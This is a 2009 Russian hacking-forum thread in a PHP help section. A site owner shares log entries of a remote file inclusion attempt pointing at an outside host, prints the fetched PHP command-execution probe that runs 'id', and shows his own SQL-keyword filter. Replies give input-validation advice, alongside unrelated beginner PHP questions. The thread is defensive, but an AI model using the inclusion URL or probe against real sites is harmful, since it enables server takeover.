HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.02.2009, 16:17
spamoney
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме:
228267

Репутация: 27
По умолчанию

Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:

Код:
WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?

WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50

WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
Перейдя по адресу: http://www.igrawm.net.ru/404.txt?

Видим следующий код:

Код:
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?


P.S
Вот код файла security.php с 177 по 188 строки:

Код:
	foreach ($_GET as $var_name=>$var_value) {
		if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
		if ($security_url_get == 1) {
			if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
		}
		$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
		$security_decode = base64_decode($var_value);
		if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
		if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
		$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
		if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
	}
 
Ответить с цитированием

  #2  
Старый 20.02.2009, 16:19
Frize
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме:
139522

Репутация: 4
По умолчанию

Shadow_p1raT, да походу это, ток чет не робит кажись)))
 
Ответить с цитированием

  #3  
Старый 20.02.2009, 16:26
Ion
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме:
4087

Репутация: 1
По умолчанию

Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:

<?php
$i = 0;
$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";

$i++;
}
fclose($h);

$content=ereg_replace('ready','all. ready',$text); // 5

$w=fopen("text2.txt","r");

fwrite($w,$content);

fclose($w);
?>


PS: извиняюсь, если глупость, я начал учить php позавчера.
 
Ответить с цитированием

  #4  
Старый 20.02.2009, 16:31
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
По умолчанию

spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку
PHP код:
is_string($var_name) or die('Переменная '$var_value' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь 
после этой
Код:
foreach ($_GET as $var_name=>$var_value) {
 
Ответить с цитированием

  #5  
Старый 20.02.2009, 16:42
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
По умолчанию

Ion,так?
PHP код:
<?php
$fp 
fopen('text.txt','r');
for(
$i=0;$i<=9;$i++) {
    
$content .= fgets($fp);
}
fclose($fp);    

$content str_replace('ready','all. ready',$content);

$fp2 fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>
 
Ответить с цитированием

  #6  
Старый 20.02.2009, 16:52
Ion
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме:
4087

Репутация: 1
По умолчанию

Да, так. Спасибо большое. Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?
 
Ответить с цитированием

  #7  
Старый 20.02.2009, 16:53
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report

Ion В начале скрипта добавь $content='';
 
Ответить с цитированием

  #8  
Старый 20.02.2009, 17:31
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Хм,как осуществить.
Есть страница,большая.Грузим ее филе_гет_конт. и ищем на ней совпадение регуляркой.
Вопрос.Кабы мне сделать:
а)Грузить и искать одновременно,тоесть как только нашел - загрузка прервалась.
б)Выгоднее.ВЫкачивать только часть страницы,например только 100 кб.
Какс?
 
Ответить с цитированием

  #9  
Старый 20.02.2009, 17:46
kraken
Участник форума
Регистрация: 02.01.2009
Сообщений: 104
Провел на форуме:
750298

Репутация: 297
По умолчанию

m0Hze а что тебе мешает скачать полностью и потом парсить регуляркой?
 
Ответить с цитированием

  #10  
Старый 20.02.2009, 17:49
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
По умолчанию

m0Hze,можно так
PHP код:
<?php
$fp 
fopen('http://localhost/test/test.txt''rt');
$text 'antichat';
while(!
feof($fp)) 

   if(
preg_match('#'.preg_quote($text).'#i'fread($fp100))) 
   {     
       echo 
'найдено'
       break; 
    } 

fclose($fp); 
?>
только вроде требует в php.ini
Код:
allow url fopen on
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.